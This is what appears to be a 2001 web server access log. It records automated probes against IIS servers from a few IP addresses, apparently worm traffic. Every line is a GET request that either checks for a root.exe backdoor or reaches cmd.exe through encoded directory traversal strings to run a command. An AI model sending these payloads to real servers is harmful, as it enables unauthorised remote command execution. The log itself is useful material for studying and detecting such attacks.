20011004 02:22:29:  [202.96.23.92] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
20011004 02:22:30:  [202.96.23.92] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:22:31:  [202.96.23.92] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:22:34:  [202.96.23.92] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:22:39:  [202.96.23.92] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:22:43:  [210.184.52.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
20011004 02:57:46:  [210.184.52.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
20011004 02:57:47:  [210.184.52.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:48:  [210.184.52.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:49:  [210.184.52.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:50:  [210.184.52.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:51:  [210.184.52.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:52:  [210.184.52.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:53:  [210.184.52.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:53:  [210.184.52.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:54:  [210.184.52.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:56:  [210.184.52.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:56:  [210.184.52.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:57:  [210.184.52.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:58:  [210.184.52.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:57:59:  [210.184.52.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
20011004 02:58:00: ftp.mdrx.com [65.67.58.57] "GET /scripts/root.exe?/c+dir HTTP/1.0"